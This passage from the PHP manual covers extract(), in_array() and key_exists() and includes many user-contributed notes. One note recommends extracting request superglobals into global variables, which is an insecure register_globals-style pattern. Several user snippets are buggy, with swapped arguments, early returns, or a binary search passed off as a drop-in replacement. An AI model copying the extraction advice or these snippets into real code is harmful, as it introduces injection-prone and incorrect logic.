    if (!empty ($prefix) && !preg_match ('#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $prefix))
    {
        return trigger_error ('extract_nested (): Third argument should start with a letter or an underscore', E_USER_WARNING);
    }

    /**
     * Check if a prefix is necessary. If so and it is empty return an error.
     */
    if (($type == EXTR_PREFIX_SAME || $type == EXTR_PREFIX_ALL || $type == EXTR_PREFIX_IF_EXISTS) && empty ($prefix))
    {
        return trigger_error ('extract_nested (): Prefix expected to be specified', E_USER_WARNING);
    }

    /**
     * Make sure the prefix is oke
     */
    $prefix = $prefix . '_';

    /**
     *  Loop thru the array
     */
    foreach ($array as $key => $val)
    {
        /**
         *  If the key isn't an array extract it as we need to do
         */
        if (!is_array ($array[$key]))
        {
            switch ($type)
            {
                default:
                case EXTR_OVERWRITE:
                    $GLOBALS[$key] = $val;
                break;
                case EXTR_SKIP:
                    $GLOBALS[$key] = isset ($GLOBALS[$key]) ? $GLOBALS[$key] : $val;
                break;
                case EXTR_PREFIX_SAME:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                    else
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_PREFIX_ALL:
                    $GLOBALS[$prefix . $key] = $val;
                break;
                case EXTR_PREFIX_INVALID:
                    if (!preg_match ('#^[a-zA-Z_\x7f-\xff]$#', $key{0}))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                    else
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_IF_EXISTS:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_PREFIX_IF_EXISTS:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                break;
                case EXTR_REFS:
                    $GLOBALS[$key] =& $array[$key];
                break;
            }
        }
        /**
         *  The key is an array... use the function on that index
         */
        else
        {
            extract_nested ($array[$key], $type, $prefix);
        }
    }
}
?>
Michael Newton 03-Mar-2005 02:23
They say "If the result is not a valid variable name, it is not imported into the symbol table."

What they should say is that if _any_ of the results have invalid names, _none_ of the variables get extracted.

Under 4.3.10 on Windows 2000, I was pulling some mySQL records, but needed to convert two fields into IP addresses:
<?
extract(mysql_fetch_assoc(mysql_query('SELECT * FROM foo')));
extract(mysql_fetch_assoc(mysql_query('SELECT INET_NTOA(bar) AS bar, INET_NTOA(baz) FROM foo')));
?>

I had forgotten the second AS modifier in the SQL query.  Because it couldn't extract a variable called INET_NTOA(baz) into the symbol table, it didn't do either of them.

(BTW I don't normally stack functions up like that!  Just to make a short example!)
22-Feb-2005 04:31
To make this perfectly clear (hopefully), an underscore is always added when the string is prefixed.
extract(array("color" => "blue"),EXTR_PREFIX_ALL,'');// note: prefix is empty
is the same as
$color='_blue';
Aaron Stone 17-Nov-2004 07:44
If you are working porting an older application, and taking the advice above, extracting only _SERVER, _SESSING, _COOKIE, _POST, _GET, you have forgotten to extract _FILES. Putting _FILES last and using EXTR_SKIP doesn't work because the name of the file upload box is already set as a variable containing only the temporary name of the uploaded file from one of the earlier extracts (I haven't tested to see which one specifically, however). A workaround is to put _FILES last and use EXTR_OVERWRITE. This allows extract to replace that temp-name-only variable with the full array of file upload information.
Adam Monsen <adamm at wazamatta dot com> 03-Oct-2004 02:03
As shown in the example, if your 'prefix' is used, a single underscore is added to the name of the extracted variable. Meaning, a prefix of 'p' becomes a prefix of 'p_', so 'blarg' prefixed would be 'p_blarg'.

If you're not sure what variables you've created through extraction, you can call get_defined_vars() to see all defined variables in the current scope.


Checks if a value exists in an array

  • « extract
  • key_exists »
  • PHP Manual
  • Array Functions
  • Checks if a value exists in an array

in_array

(PHP 4, PHP 5)

in_array — Checks if a value exists in an array

Description

bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

Searches haystack for needle using loose comparison unless strict is set.

Parameters

needle

The searched value.

Note:

If needle is a string, the comparison is done in a case-sensitive manner.

haystack

The array.

strict

If the third parameter strict is set to TRUE then the in_array() function will also check the types of the needle in the haystack.

Return Values

Returns TRUE if needle is found in the array, FALSE otherwise.

Examples

Example #1 in_array() example

<?php
$os = array("Mac", "NT", "Irix", "Linux");
if (in_array("Irix", $os)) {
    echo "Got Irix";
}
if (in_array("mac", $os)) {
    echo "Got mac";
}
?>

The second condition fails because in_array() is case-sensitive, so the program above will display:

Got Irix

Example #2 in_array() with strict example

<?php
$a = array('1.10', 12.4, 1.13);

if (in_array('12.4', $a, true)) {
    echo "'12.4' found with strict check\n";
}

if (in_array(1.13, $a, true)) {
    echo "1.13 found with strict check\n";
}
?>

The above example will output:

1.13 found with strict check

Example #3 in_array() with an array as needle

<?php
$a = array(array('p', 'h'), array('p', 'r'), 'o');

if (in_array(array('p', 'h'), $a)) {
    echo "'ph' was found\n";
}

if (in_array(array('f', 'i'), $a)) {
    echo "'fi' was found\n";
}

if (in_array('o', $a)) {
    echo "'o' was found\n";
}
?>

The above example will output:

  'ph' was found
  'o' was found

See Also

  • array_search() - Searches the array for a given value and returns the corresponding key if successful
  • isset() - Determine if a variable is set and is not NULL
  • array_key_exists() - Checks if the given key or index exists in the array

User Contributed Notes

Chaya Cooper 30-Sep-2014 07:33
To identify all instances of $needle when both $needle and $haystack are arrays, combine in_array() with a loop through the array  of needles.

I've posted a functional example of it here: http://sandbox.onlinephpfunctions.com/code/930385800c30595129cefb87cfa7eec9d69dce08

$needles = array('John', 'Alex');
$haystack = array('John','Alexander','Kim', 'Michael');

    foreach ($needles as $needle) {
        // Displays var name & value currently searching for)
        echo '$needle: '.$needle;
        if (in_array($needle, $haystack) ) {
            echo ', True; ';
        }
       else {
            echo ', False; ';
        }
    }

Result is:
$needle: John, True; $needle: Alex, False;
Chaya Cooper 30-Sep-2014 07:32
To identify all instances of $needle when both $needle and $haystack are arrays, combine in_array() with a loop through the array  of needles.

I've posted a functional example of it here: http://sandbox.onlinephpfunctions.com/code/930385800c30595129cefb87cfa7eec9d69dce08

$needles = array('John', 'Alex');
$haystack = array('John','Alexander','Kim', 'Michael');

    foreach ($needles as $needle) {
        // Displays var name & value currently searching for)
        echo '$needle: '.$needle;
        if (in_array($needle, $haystack) ) {
            echo ', True; ';
        }
       else {
            echo ', False; ';
        }
    }

Result is:
$needle: John, True; $needle: Alex, False;
i dot pinz1 at gmail dot com 15-May-2014 08:33
I have noted some strange behavior of the in_array() function if you have a hash like
$haystack=array (
'123'=>'some value',
'0125'=>'some value');

If I test now:
if (in_array('23',$haystack)) // here also TRUE is returned

I switched instead to
if(isset($haystack['23'])) // which return correct FALSE

Maybe this helps others too.
what loose checking means 20-Jan-2014 02:03
In a high-voted example, an array is given that contains, amongst other things, true, false and null, against which various variables are tested using in_array and loose checking.

It impossible to receive false as a return value from in_array using loose checking if your arrays contains both the constants true and false. You might understandably trip over this (or the inverse - passing boolean true to check against an array of e.g. non-empty strings), but it's certainly not counter intuitive and makes perfect sense.
manuel at sunred dot org 16-Jan-2014 06:00
If you are looking for a faster in_array function but still need the strict feature with which the type of element will be considered the following simple function might help you.

<?php
function fast_in_array($needle, array $haystack, $strict = false)
{
    $c = count($haystack);
    if($strict !== true)
    {
        for($i = 0; $i < $c; $i++)
            if($haystack[$i] == $needle)
                return true;
    }
    else
    {
        for($i = 0; $i < $c; $i++)
            if($haystack[$i] === $needle)
                return true;
    }
    return false;
}
?>
rolf dot dergham dot public at gmail dot com 13-Jan-2014 10:02
Watch out for this:

<?

print_r( (int) in_array('hello',array( 0 => 0)) );

?>

returns 1

Yes, it seems that is_array thinks that a random string and 0 are the same thing.
Excuse me, that's not loose checking, that's drunken logic.
Or maybe I found a bug?
Artur K 21-Aug-2013 04:52
As an addition to beingmrkennys note:

<?php

var_dump(in_array('012', array('12'))); //returns true
var_dump(in_array('012', array('12'), true)); //returns false

?>

Seems like PHP is making some cast. So use the strict parameter.
Fabian S 01-Aug-2013 11:52
Robin's fast_in_array uses binary search, so the array has to be sorted before, using the regular sort function.
jemiaymen at gmail dot com 18-Jul-2013 11:53
$a = array(1,5,2,15,88,8,7,9,10);

$b = array(4,10,5,11,15);

function similaire($a,$b){
    $result = array();
    $i =0;
    foreach($b as $var){

        if(in_array($var,$a)){
            $result[$i] = $var;
            $i++;
        }
    }
    return $result ;
}

var_dump($a);
var_dump($b);
var_dump(similaire($a,$b));

/*
output
array (size=9)
  0 => int 1
  1 => int 5
  2 => int 2
  3 => int 15
  4 => int 88
  5 => int 8
  6 => int 7
  7 => int 9
  8 => int 10

array (size=6)
  0 => int 4
  2 => int 10
  3 => int 5
  4 => int 11
  5 => int 15

array (size=4)
  1 => int 10
  2 => int 5
  3 => int 15

*/
santi dot morel at gmail dot com 23-May-2013 06:43
search in multidimensional array

    function in_multiarray($elem, $array) {
        foreach ($array as $key => $value) {
            if ($value==$elem){
                return true;
            }
            elseif(is_array($value)){
                if($this->in_multiarray($elem, $value))
                        return true;
            }
        }

        return false;
    }
Valerchik 13-May-2013 04:30
Beware when using this function to validate user input:

$a = array('0' => 'Opt 1', '1' => 'Opt 2', '2' => 'Opt 3');
$v = 'sql injection';
var_dump(in_array($v, array_keys($a)));

This will result : true;

array_keys($a) will cast array keys to int instead of string !
then when in_array will compare it will cast  'sql injection' to int 0 !
Beware of this!
justinjohnmathews at gmail dot com 05-Mar-2013 10:34
I think, "in_array" can be used with "range" function to check a number(dynamic value) is in between of other two numbers.

<?php
    $i = 5; // Dynamic value
    if (in_array(range(1, 10), $i)) {
       echo 'Your number is in between of range array';
    }
?>
q*bist 25-Jul-2012 03:43
version of in_array that searches by regular expression. Don't forget to preg_quote() your search term.

<?php

function in_array_match($regex, $array) {
    if (!is_array($array))
        trigger_error('Argument 2 must be array');
    foreach ($array as $v) {
        $match = preg_match($regex, $v);
        if ($match === 1) {
            return true;
        }
    }
    return false;
}

?>
janis dot janovskis at gmail dot com 29-Feb-2012 08:03
Since sometimes in_array returns strange results - see notes above.
I was able to find value in array by this quite a simple function;
<?php
/**
* $find <mixed> value to find
* $array<array> array to search in
*/

function _value_in_array($array, $find){
 $exists = FALSE;
 if(!is_array($array)){
   return;
}
foreach ($array as $key => $value) {
  if($find == $value){
       $exists = TRUE;
  }
}
  return $exists;
}

// Note
// You can't use wildcards and it does not check variable type
?>
rajeevroy15 at gmail dot com dot com 30-Nov-2011 01:51
is_array function checks only array only and giving incorrect result with multi-dimensional arrays.

Here is a custom function which will give the solution to check Array or Object and Checking of multi-dimensional arrays and objects as well.

<?php

function in_object($val, $obj){

    if($val == ""){
        trigger_error("in_object expects parameter 1 must not empty", E_USER_WARNING);
        return false;
    }
    if(!is_object($obj)){
        $obj = (object)$obj;
    }

    foreach($obj as $key => $value){
        if(!is_object($value) && !is_array($value)){
            if($value == $val){
                return true;
            }
        }else{
            return in_object($val, $value);
        }
    }
    return false;
}
?>
Usage  :
<?php

$array = array("a", "b", "c"=>array("x", "y"=>array("p", "q"=>"r")));

if(in_object("r", $arrX)){
    echo "r is there ";
}else{
    echo "Its not there ";
}
?>
beingmrkenny at gmail dot com 27-Oct-2011 12:35
Loose checking returns some crazy, counter-intuitive results when used with certain arrays. It is completely correct behaviour, due to PHP's leniency on variable types, but in "real-life" is almost useless.

The solution is to use the strict checking option.

<?php

// Example array

$array = array(
    'egg' => true,
    'cheese' => false,
    'hair' => 765,
    'goblins' => null,
    'ogres' => 'no ogres allowed in this array'
);

// Loose checking -- return values are in comments

// First three make sense, last four do not

in_array(null, $array); // true
in_array(false, $array); // true
in_array(765, $array); // true
in_array(763, $array); // true
in_array('egg', $array); // true
in_array('hhh', $array); // true
in_array(array(), $array); // true

// Strict checking

in_array(null, $array, true); // true
in_array(false, $array, true); // true
in_array(765, $array, true); // true
in_array(763, $array, true); // false
in_array('egg', $array, true); // false
in_array('hhh', $array, true); // false
in_array(array(), $array, true); // false

?>
chris at axxis dot gr 27-Sep-2011 04:49
It's funny how PHP has an in_array method, but not an in_object one. Here is a simple function which will check if a value can be found within an object.

<?php
  // in_object method
  // to check if a value in an object exists.
  function in_object($value,$object) {
    if (is_object($object)) {
      foreach($object as $key => $item) {
        if ($value==$item) return $key;
      }
    }
    return false;
  }
?>

This is very useful if an object has been created dynamically (especially from external code, which you don't control, as in an application-plugin, CMS, etc), and you don't know the object's properties.
The above function will return the property, so you will be able to use it in your code later on.

Here is a very good basic example of how useful this function is!

<?php
  class My_Class {
    function __construct($key, $value) {
      $this->$key = $value;
      // As you can see, this is a dynamic class, its properties and values can be unknown...
    }
  }

  function in_object($value,$object) {
    if (is_object($object)) {
      foreach($object as $key => $item) {
        if ($value==$item) return $key;
      }
    }
    return false;
  }

  function manipulate_property($value,$object) {
    if ($property = in_object($value,$object)) {
      // value found. I can now use this property.
      // I can simply echo'it (makes no sense, as I could instead simply echo "value")
      echo "<br />I found the property holding this value: ".$object->$property;
      // or (here comes the good part)
      // change the property
      $object->$property = "This is a changed value!";
      echo "<br />I changed the value to: ".$object->$property;
      // or return it for use in my program flow
      return $property;
    } else {
      echo "Value NOT FOUND!<br />";
      return false;
    }
  }

  // imagine if some function creates the class conditionally...
  if ( 1 == 1) {
    $class = new My_Class("property","Unchanged Value");
  } else {
    $class = new My_Class("property","Some Other Value");
  }

  // now let's check if the value we want exists, and if yes, let's have some fun with it...
  $property = manipulate_property("Unchanged Value",$class);
  if ($property) {
    $my_variable = $class->$property;
    echo "<br />This is my variable now:".$my_variable;
  } else $my_variable = $some_other_variable;
?>

Just run it to see for yourself!
Lea Hayes 05-Aug-2011 02:40
Determine whether an object field matches needle.

Usage Example:
---------------

<?php
$arr = array( new stdClass(), new stdClass() );
$arr[0]->colour = 'red';
$arr[1]->colour = 'green';
$arr[1]->state  = 'enabled';

if (in_array_field('red', 'colour', $arr))
   echo 'Item exists with colour red.';
if (in_array_field('magenta', 'colour', $arr))
   echo 'Item exists with colour magenta.';
if (in_array_field('enabled', 'state', $arr))
   echo 'Item exists with enabled state.';
?>

Output:
--------
Item exists with colour red.
Item exists with enabled state.

<?php
function in_array_field($needle, $needle_field, $haystack, $strict = false) {
    if ($strict) {
        foreach ($haystack as $item)
            if (isset($item->$needle_field) && $item->$needle_field === $needle)
                return true;
    }
    else {
        foreach ($haystack as $item)
            if (isset($item->$needle_field) && $item->$needle_field == $needle)
                return true;
    }
    return false;
}
?>
Ray dot Paseur at Gmail dot com 01-Aug-2011 06:20
Be VERY careful about testing for strings in arrays that might also contain integers.  In this snippet, the range() function turns the numeric values into integers, and loose data typing finds a match with zero.

Outputs:
PHP in_array() FOUND @#%?!!
@#%?!! == 0 AT POSITION 26 BECAUSE OF LOOSE TYPE

<?php // RAY_temp_in_array.php
error_reporting(E_ALL);
echo "<pre>";

// THE ALLOWABLE SELECTIONS
$alpha = range('A','Z');
$alpha = array_merge($alpha, range('0', '9'));

// LOOK FOR A BOGUS SELECTION
$str = '@#%?!!';
if (in_array($str, $alpha))
{
    echo "PHP in_array() FOUND $str ";
}
else
{
    echo "$str IS NOT IN ARRAY";
}

// SEARCH THE ARRAY FOR THE KEY OF THE STRING
$key = array_search($str, $alpha);
echo "<br/>$str == $alpha[$key] AT POSITION $key";

if ($str == 0) echo " BECAUSE OF LOOSE TYPE";
?>
Anonymous 18-Jun-2011 09:16
known issue
when checking a string vs a integer

$testarray = array(0,1,2,3,4);

in_array("bla", $a) returns true
in_array("bla6", $a) returns true
in_array("6bla", $a) returns false

"bla" as a integer value returns the number zero
"bla6" as a integer value returns the number zero
 "6bla" returns the number six as its the only vaild part of that

if you checking for unknown types eg string vs integer
then you would need the strict value to be true.
Sascha Luedi 28-Feb-2011 06:33
strange behaviour of in_array:

If you have an array like:
<?php
$a = array(0,1,2,3,4,5);
in_array("bla", $a) returns true
in_array("bla6", $a) returns true
in_array("6bla", $a) returns false
?>

If you have an array like (without 0):
<?php
$a = array(1,2,3,4,5);
in_array("bla", $a) returns false
in_array("6bla", $a) returns false
in_array("5bla", $a) returns true
?>

so better use strict arg!
Joris Meijer 15-Feb-2011 02:31
A good option if your array contains objects and you wish to recursively search it (eg. with in_arrayr), is to use json_encode and json_decode first:

<?php

$array = json_decode(json_encode($array_with_objects), true);

?>

In my opinion this is more elegant than a recursive in_array function which converts the objects into arrays while searching for a key and/or value.
user at NOSPAM at fullservicead dot com 02-Feb-2011 05:52
After reading all other notes about performance,
I made a little test.

fill an array in a loop with random characters,
shuffle it
search on it using 4 methods.

I tried to have haystack as array and string; hence the strstr.

I tried it on 9, 99, 999, 9999 elements and the results
remain in the same order:

9999 elements

Function :  execution time in miliseconds.

strstr : 1.2994079589844
fast_in_array : 1.0655579566956
isset : 0.99128198623657 //Winner, used from another note here.
in_array : 2.9410798549652

One last detail, I moved my functions around in the script to make sure there was no memory caching, reiteration op or whatever, it's all the same. in_array is the slowest and the use of isset($array[$NEEDLE]) the fastest.

I hope it saves somebody else the trouble.
bosdilooda at gmail dot com 21-Jan-2011 09:07
There should be a big red warning sign here because this function behaves in mysterious ways...

let haystack be an array of integers:

$arr = array(1,2,3,4,5);

let $needle be a string of "2foobar"

then

in_array($needle,$arr)

will return true because string ("2foobar") evaluates to integer (2).
ctulek at gmail dot com 30-Aug-2010 08:07
If you have an array like:
$arr = array(0,1,2,3,4,5);

in_array(NULL, $arr) returns true because you have 0 in your array. That is, in_array does not use === for equal check.
Svinto 22-May-2010 08:53
in_array() will always return true if a value in the haystack is of type bool(true).
This always hold except when the needle is of type bool(false).

Code:
<?php
$haystack = array(true);
$needle = "anything except bool(false)";
$result = in_array($needle, $haystack);
var_dump($result); #Will always be true
?>

Solution:
run in_array() with strict set to true.
<?php
in_array($needle, $haystack, true);
?>

Tested on PHP 5.2.6
bogdan AT bogdanconstantinescu DOT com 21-Apr-2010 05:01
If you found yourself in need of a multidimensional array in_array like function you can use the one below. Works in a fair amount of time

<?php

    function in_multiarray($elem, $array)
    {
        $top = sizeof($array) - 1;
        $bottom = 0;
        while($bottom <= $top)
        {
            if($array[$bottom] == $elem)
                return true;
            else
                if(is_array($array[$bottom]))
                    if(in_multiarray($elem, ($array[$bottom])))
                        return true;

            $bottom++;
        }
        return false;
    }
?>
jv at vip dot ie 14-Feb-2010 01:46
If you're working with very large 2 dimensional arrays (eg 20,000+ elements) it's much faster to do this...

<?php
$needle = 'test for this';

$flipped_haystack = array_flip($haystack);

if ( isset($flipped_haystack[$needle]) )
{
  print "Yes it's there!";
}
?>

I had a script that went from 30+ seconds down to 2 seconds (when hunting through a 50,000 element array 50,000 times).

Remember to only flip it once at the beginning of your code though!
natan dot volkovich at gmail dot com 30-Nov-2009 11:10
If you're trying to find out whether or not at least a single value of an array matches a value in your haystack then use "array_intersect" instead of "in_array".

<?php
$needle = array(1,2);
$haystack = array(0,1,2);

echo "in_array: ".(int)in_array($needle, $haystack); // returns 0
echo "array_intersect: ".(int)array_intersect((array)$needle, $haystack); // returns 1
?>
vladimir at vingrad dot ru 14-Nov-2009 12:14
This function has Problem with UTF-8. To solve this Problem use:

in_array( mb_strtolower($tag, "UTF-8"), $arr)
thomas dot sahlin at gmail dot com 05-Oct-2009 09:53
If you're creating an array yourself and then using in_array to search it, consider setting the keys of the array and using isset instead since it's much faster.

<?php

$slow = array('apple', 'banana', 'orange');

if (in_array('banana', $slow))
    print('Found it!');

$fast = array('apple' => 'apple', 'banana' => 'banana', 'orange' => 'orange');

if (isset($fast['banana']))
    print('Found it!');

?>
me at bubjavier dot com 14-Sep-2009 01:15
in case your haystack is undefined or not set:

<?php

$fruitExists = in_array('mango', (array) $_SESSION["fruits"]);

?>

will return false if the haystack is not an array.
robin at robinnixon dot com 25-Jul-2009 09:38
This function is five times faster than in_array(). It uses a binary search and should be able to be used as a direct replacement:

<?php
function fast_in_array($elem, $array)
{
   $top = sizeof($array) -1;
   $bot = 0;

   while($top >= $bot)
   {
      $p = floor(($top + $bot) / 2);
      if ($array[$p] < $elem) $bot = $p + 1;
      elseif ($array[$p] > $elem) $top = $p - 1;
      else return TRUE;
   }

   return FALSE;
}
?>
john at dwarven dot co dot uk 01-Jul-2009 01:34
I just struggled for a while with this, although it may be obvious to others.

If you have an array with mixed type content such as:

<?php

 $ary = array (
   1,
   "John",
   0,
   "Foo",
   "Bar"
 );

?>

be sure to use the strict checking when searching for a string in the array, or it will match on the 0 int in that array and give a true for all values of needle that are strings strings.

<?php

var_dump( in_array( 2, $ary ) );

// outputs FALSE

var_dump( in_array( 'Not in there', $ary ) );

// outputs TRUE

var_dump( in_array( 'Not in there', $ary, TRUE ) );

// outputs FALSE

?>
Thingmand 09-Mar-2009 08:58
A little function to use an array of needles:

<?php
function array_in_array($needles, $haystack) {

    foreach ($needles as $needle) {

        if ( in_array($needle, $haystack) ) {
            return true;
        }
    }

    return false;
}
?>
brouwer dot p at gmail dot com 08-Mar-2009 11:55
If made a in_array function that checks if the specified key matches. It works recursivly so it doesn't matter how deep your input array is.
<?php
  function myInArray($array, $value, $key){
    //loop through the array
    foreach ($array as $val) {
      //if $val is an array cal myInArray again with $val as array input
      if(is_array($val)){
        if(myInArray($val,$value,$key))
          return true;
      }
      //else check if the given key has $value as value
      else{
        if($array[$key]==$value)
          return true;
      }
    }
    return false;
  }
?>
Kelvin J 28-Feb-2009 02:04
For a case-insensitive in_array(), you can use array_map() to avoid a foreach statement, e.g.:

<?php
    function in_arrayi($needle, $haystack) {
        return in_array(strtolower($needle), array_map('strtolower', $haystack));
    }
?>
selmand [at] gmail.com 13-Feb-2009 01:38
Removes same text with in_array in a string.

<?

$hizmet="aeg,akai,aeg,arcelik,aeg,arcelik,klima,kombi";

// alots of same stings

$x=explode(",",$hizmet);

$t= array();
$k=0;
for($i=0;$i<sizeof($x);$i++){ // this for remove its
    //echo $x[$i]."\n";
    if(!in_array($x[$i],$t))
    {
        $t[$k]=$x[$i];
        $k++;
    }

}

for($i=0;$i<sizeof($t);$i++){ // rebuilding $hizmet strings.

    echo $t[$i].",";

}

?>
soxred93 at gmail dot com 28-Jan-2009 10:37
Here's a simple little function I wrote that is a case insensitive version of in_array():

<?php
    function in_arrayi( $needle, $haystack ) {
        $found = false;
        foreach( $haystack as $value ) {
            if( strtolower( $value ) == strtolower( $needle ) ) {
                $found = true;
            }
        }
        return $found;
    }
?>
jordigirones at gmail dot com 21-Jan-2009 04:54
function similar to in_array but implements LIKE '<string>%'

<?php
   function in_array_like($referencia,$array){
      foreach($array as $ref){
        if (strstr($referencia,$ref)){
          return true;
        }
      }
      return false;
    }
?>
rhill at xenu-directory dot net 17-Jan-2009 10:05
I found out that in_array will *not* find an associative array within a haystack of associative arrays in strict mode if the keys were not generated in the *same order*:

<?php

$needle = array(
    'fruit'=>'banana', 'vegetable'=>'carrot'
    );

$haystack = array(
    array('vegetable'=>'carrot', 'fruit'=>'banana'),
    array('fruit'=>'apple', 'vegetable'=>'celery')
    );

echo in_array($needle, $haystack, true) ? 'true' : 'false';
// Output is 'false'

echo in_array($needle, $haystack) ? 'true' : 'false';
// Output is 'true'

?>

I had wrongly assumed the order of the items in an associative array were irrelevant, regardless of whether 'strict' is TRUE or FALSE: The order is irrelevant *only* if not in strict mode.
james dot ellis at gmail dot com 30-Oct-2008 06:17
Be aware of oddities when dealing with 0 (zero) values in an array...

This script:
<?php
$array = array('testing',0,'name');
var_dump($array);
//this will return true
var_dump(in_array('foo', $array));
//this will return false
var_dump(in_array('foo', $array, TRUE));
?>

It seems in non strict mode, the 0 value in the array is evaluating to boolean FALSE and in_array returns TRUE. Use strict mode to work around this peculiarity.
This only seems to occur when there is an integer 0 in the array. A string '0' will return FALSE for the first test above (at least in 5.2.6).
james dot randell at hotmail dot co dot uk 16-Sep-2008 11:54
Small method i built for my Array module, after looking through the manual I wanted a small compact way of making a wildcard search through an arrays values, and returning only those that it found.

<?php

    /**
     * Takes a needle and haystack (just like in_array()) and does a wildcard search on it's values.
     *
     * @param    string        $string        Needle to find
     * @param    array        $array        Haystack to look through
     * @result    array                    Returns the elements that the $string was found in
     */
    function find ($string, $array = array ())
    {
        foreach ($array as $key => $value) {
            unset ($array[$key]);
            if (strpos($value, $string) !== false) {
                $array[$key] = $value;
            }
        }
        return $array;
    }
?>
crashrox at gmail dot com 21-Jul-2008 05:34
Recursive in array using SPL

<?php
function in_array_recursive($needle, $haystack) {

    $it = new RecursiveIteratorIterator(new RecursiveArrayIterator($haystack));

    foreach($it AS $element) {
        if($element == $needle) {
            return true;
        }
    }

    return false;
}
?>
Martijn Wieringa 19-May-2008 11:20
When using numbers as needle, it gets tricky:

Note this behaviour (3rd statement):

in_array(0, array(42)) = FALSE
in_array(0, array('42')) = FALSE
in_array(0, array('Foo')) = TRUE
in_array('0', array('Foo')) = FALSE
sick949 at hotmail dot com 05-Mar-2008 12:43
A first idea for a function that checks if a text is in a specific column of an array.
It does not use in_array function because it doesn't check via columns.
Its a test, could be much better. Do not use it without test.

<?php

function in_array_column($text, $column, $array)
{
    if (!empty($array) && is_array($array))
    {
        for ($i=0; $i < count($array); $i++)
        {
            if ($array[$i][$column]==$text || strcmp($array[$i][$column],$text)==0) return true;
        }
    }
    return false;
}

?>
guitar king 29-Jan-2008 08:52
In PHP 4, the first argument seems not allowed to be an object. In PHP 5, also objects are allowed as $needle.
info at b1g dot de 02-Aug-2007 07:44
Be careful with checking for "zero" in arrays when you are not in strict mode.
in_array(0, array()) == true
in_array(0, array(), true) == false
Quaquaversal 21-May-2007 05:48
A simple function to type less when wanting to check if any one of many values is in a single array.

<?php
function array_in_array($needle, $haystack) {
    //Make sure $needle is an array for foreach
    if(!is_array($needle)) $needle = array($needle);
    //For each value in $needle, return TRUE if in $haystack
    foreach($needle as $pin)
        if(in_array($pin, $haystack)) return TRUE;
    //Return FALSE if none of the values from $needle are found in $haystack
    return FALSE;
}
?>
musik at krapplack dot de 04-Jun-2006 02:52
I needed a version of in_array() that supports wildcards in the haystack. Here it is:

<?php
function my_inArray($needle, $haystack) {
    # this function allows wildcards in the array to be searched
    foreach ($haystack as $value) {
        if (true === fnmatch($value, $needle)) {
            return true;
        }
    }
    return false;
}

$haystack = array('*krapplack.de');
$needle = 'www.krapplack.de';

echo my_inArray($needle, $haystack); # outputs "true"
?>

Unfortunately, fnmatch() is not available on Windows or other non-POSIX compliant systems.

Cheers,
Thomas
rick at fawo dot nl 09-Apr-2006 05:23
Here's another deep_in_array function, but this one has a case-insensitive option :)
<?
function deep_in_array($value, $array, $case_insensitive = false){
    foreach($array as $item){
        if(is_array($item)) $ret = deep_in_array($value, $item, $case_insensitive);
        else $ret = ($case_insensitive) ? strtolower($item)==$value : $item==$value;
        if($ret)return $ret;
    }
    return false;
}
?>
sandrejev at gmail dot com 22-Feb-2006 04:11
Sorry, that deep_in_array() was a bit broken.

<?php
function deep_in_array($value, $array) {
    foreach($array as $item) {
        if(!is_array($item)) {
            if ($item == $value) return true;
            else continue;
        }

        if(in_array($value, $item)) return true;
        else if(deep_in_array($value, $item)) return true;
    }
    return false;
}
?>
kitchin 05-Feb-2006 03:52
Here's a gotcha, and another reason to always use strict with this function.

$x= array('this');
$test= in_array(0, $x);
var_dump($test); // true

$x= array(0);
$test= in_array('that', $x);
var_dump($test); // true

$x= array('0');
$test= in_array('that', $x);
var_dump($test); // false

It's hard to think of a reason to use this function *without* strict.

This is important for validating user input from a set of allowed values, such as from a <select> tag.
14-Jan-2006 06:44
in_arrayr -- Checks if the value is in an array recursively

Description
bool in_array (mixed needle, array haystack)

<?php
function in_arrayr($needle, $haystack) {
        foreach ($haystack as $v) {
                if ($needle == $v) return true;
                elseif (is_array($v)) return in_arrayr($needle, $v);
        }
        return false;
}
// i think it works
?>
adrian foeder 08-Nov-2005 10:21
hope this function may be useful to you, it checks an array recursively (if an array has sub-array-levels) and also the keys, if wanted:

<?php
function rec_in_array($needle, $haystack, $alsokeys=false)
    {
        if(!is_array($haystack)) return false;
        if(in_array($needle, $haystack) || ($alsokeys && in_array($needle, array_keys($haystack)) )) return true;
        else {
            foreach($haystack AS $element) {
                $ret = rec_in_array($needle, $element, $alsokeys);
            }
        }

        return $ret;
    }
?>
Aragorn5551 at gmx dot de 11-Jun-2005 02:26
If you have a multidimensional array filled only with Boolean values like me, you need to use 'strict', otherwise in_array() will return an unexpected result.

Example:

<?php
$error_arr = array('error_one' => FALSE, 'error_two' => FALSE, array('error_three' => FALSE, 'error_four' => FALSE));

if (in_array (TRUE, $error_arr)) {
   echo 'An error occurred';
}
else {
   echo 'No error occurred';
}
?>

This will return 'An error occurred' although theres no TRUE value inside the array in any dimension. With 'strict' the function will return the correct result 'No error occurred'.

Hope this helps somebody, cause it took me some time to figure this out.
tom at orbittechservices dot com 10-Aug-2002 04:17
I searched the general mailing list and found that in PHP versions before 4.2.0 needle was not allowed to be an array.

Here's how I solved it to check if a value is in_array to avoid duplicates;

<?php
$myArray = array(array('p', 'h'), array('p', 'r'));

$newValue = "q";
$newInsert = array('p','q');

$itBeInThere = 0;
foreach ($myArray as $currentValue) {
  if (in_array ($newValue, $currentValue)) {
    $itBeInThere = 1;
  }
if ($itBeInThere != 1) {
  array_unshift ($myArray, $newInsert);
}
?>


Alias of array_key_exists

  • « in_array
  • key »
  • PHP Manual
  • Array Functions
  • Alias of array_key_exists

key_exists

(PHP 4 >= 4.0.6, PHP 5)

key_exists — Alias of array_key_exists()

Description

This function is an alias of: array_key_exists().

User Contributed Notes

Anonymous 07-Feb-2014 07:13
Deprecated alias, don't use it. Will get removed sooner or later.


Fetch a key from an array

  • « key_exists
  • krsort »
  • PHP Manual
  • Array Functions
  • Fetch a key from an array

key

(PHP 4, PHP 5)

key — Fetch a key from an array

Description

mixed key ( array &$array )

key() returns the index element of the current array position.

Parameters

array

The array.

Return Values

